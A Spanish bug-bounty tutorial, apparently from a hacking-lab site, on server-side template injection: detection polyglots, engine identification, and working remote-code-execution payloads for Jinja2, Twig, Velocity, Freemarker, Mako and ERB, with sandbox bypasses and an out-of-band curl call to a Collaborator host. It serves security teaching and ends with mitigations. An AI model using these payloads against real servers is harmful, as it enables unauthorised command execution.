Nivel AvanzadoGratis

SSTI — Server-Side Template Injection en Jinja2, Twig, Velocity y Freemarker

Detección con polyglots, identificación del engine, escalación a RCE en Jinja2/Python, Twig/PHP, Velocity/Java. Patrones donde se mete user input en templates.

Gorka El Bochi9 de mayo de 202612 min

Deja de leer sobre bugs y empieza a cazarlos

Sin tarjeta · Academy gratis · cancela cuando quieras

Crear cuenta gratis

Respuesta rápida

SSTI ocurre cuando user input acaba dentro de un template renderizado server-side. La mayoría de engines (Jinja2, Twig, Velocity, Freemarker, Mako, ERB) permiten llamadas a métodos del lenguaje host → escalación rápida a RCE. Detección con polyglot ${{<%[%'"}}%\ que rompe casi cualquier engine. Identificación con {{7*7}} y variantes. Bounties típicos: €2.000-€10.000 (RCE).


Vectores típicos

Apps que generan emails/PDFs/respuestas dinámicas a partir de templates suelen ser candidatas:

  • Email customization: "Bienvenido {{user.name}}" donde user.name viene del cliente.
  • Notification settings: subject template con placeholders.
  • Error messages: con variables interpoladas (algunos frameworks).
  • Reporting builders: define un template, sale un PDF.
  • Legal/contract documents generados con datos del usuario.
  • CMS donde el editor mete plantillas con variables.

Detección

Polyglot universal

bash
${{<%[%'"}}%\

Este string rompe la sintaxis de casi todos los template engines. Si el response cambia (error 500, página rota) → posible SSTI.

Identificación del engine

Test inicial: {{7*7}}.

OutputEngine probable
49Jinja2, Twig
7777777Twig (con string concat)
{{7*7}} (literal)No SSTI (el template no se interpreta)
ErrorPossible different engine

Test diferenciador Jinja2 vs Twig:

arduino
{{7*'7'}}
OutputEngine
7777777Jinja2
49 (numeric)Twig

Para Java engines (Velocity, Freemarker):

bash
${7*7}

Si retorna 49 → Velocity, Freemarker, o similar.

Para ERB (Ruby): <%= 7*7 %>.


Escalación a RCE

Jinja2 (Python)

Jinja2 es el más común. Escapar el sandbox via cadenas de objetos:

python
{{ ''.__class__.__mro__[1].__subclasses__() }}

Devuelve lista de subclases. Identificar índice de subprocess.Popen o similar.

python
{{ ''.__class__.__mro__[1].__subclasses__()[XXX]('id', shell=True, stdout=-1).communicate()[0] }}

Variantes según versión de Python y subclases disponibles. Más reciente:

python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

Twig (PHP)

twig
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}

O bypass más moderno:

twig
{{["id"]|filter("system")}}

Velocity (Java)

java
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")

Freemarker (Java)

java
<#assign value="freemarker.template.utility.Execute"?new()>
${value("id")}

Mako (Python)

python
<%
import os
x=os.popen('id').read()
%>
${x}

ERB (Ruby)

ruby
<%= `id` %>
<%= system('id') %>
<%= IO.popen('id').read %>

SSTI sandbox bypasses

Engines modernos tienen sandbox que bloquea __class__, __subclasses__, etc. Bypasses:

Jinja2 sandbox bypass

python
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}

Si request o config están en el contexto, son source de globals.

Filtros restringidos

Si __class__ está bloqueado pero attr no:

python
{{ ''|attr('__class__')|attr('__mro__')[1]|attr('__subclasses__')() }}

Blind SSTI

Si no hay output visible:

Time-based

python
{{ '7'*999999999 }}                  # huge string, lag observable
{{ 'x'*99 if 7*7 == 49 else 'y' }}   # condicional time

OOB

python
{{ ''.__class__.__mro__[1].__subclasses__()[XXX]('curl yourcollab.collab.tld/SSTI', shell=True, stdout=-1) }}

Burp Collaborator captura el hit.


Endpoints típicos donde encontrarlo

  • Email customization en notification settings.
  • Subject de emails broadcast.
  • PDF generators con templates personalizables.
  • Error pages con variables (más raro pero existente).
  • Reporting con queries que producen output formateado.
  • CMS con widgets/plugins editables.
  • Newsletters templates editables por user con preview.

Detection blind si no se ve output

python
# Jinja2
{{ '{}'.format(7*7) }}     # solo retorna 49 si interpola
{{ self.__init__.__globals__.__builtins__.__import__('time').sleep(5) }}

Time-based + OOB son tus dos amigos cuando es blind.


Hunting checklist

  • ¿Hay endpoints donde el cliente puede escribir contenido que aparece en emails, PDFs, reportes?
  • ¿Hay "preview" de templates? Vector directo.
  • ¿Probar polyglot ${{<%[%'"}}%\ y observar errores?
  • ¿{{7*7}} retorna 49? → SSTI confirmado.
  • ¿El engine permite acceso a globals/builtins? Prueba __class__.
  • ¿Si el sandbox bloquea, probar variantes con attr(), request.application, config?
  • ¿Blind: time-based + OOB con Collaborator?

Mitigación correcta

  1. NO renderizar templates con user input. Usar {{ user_input }} como datos, nunca {{ template_string }}.
  2. Sandboxed environment del template engine cuando user sí escribe templates (ej. Jinja2 SandboxedEnvironment).
  3. Whitelist estricta de variables/funciones permitidas (sin __class__, __import__, etc).
  4. Logical/visual templates (Liquid) que no permiten Python/Ruby code arbitrario.
  5. Input validation antes de pasar al template.

Labs relacionados

Practica detección, identificación de engine y escalación SSTI a RCE en Jinja2, Twig y Velocity: labs de SSTI.

Gratis · sin cuenta

La checklist que repaso en cada objetivo nuevo

47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.

Te das de baja en un clic, desde cualquier correo.

Practica esto en un lab

Ssti

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados

2.786

hunters entrenando

63

labs de hackeos reales

1.767

completaciones

$14.790

pagados por estos bugs

37 flags capturadas esta semana·Hackeos reales de HackerOne · YesWeHack · Bugcrowd·Sin permanencia·Academy gratis

La comunidad

Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.

Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Entrar a la comunidad de BBLABS en Discord
Entrar al Discord

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.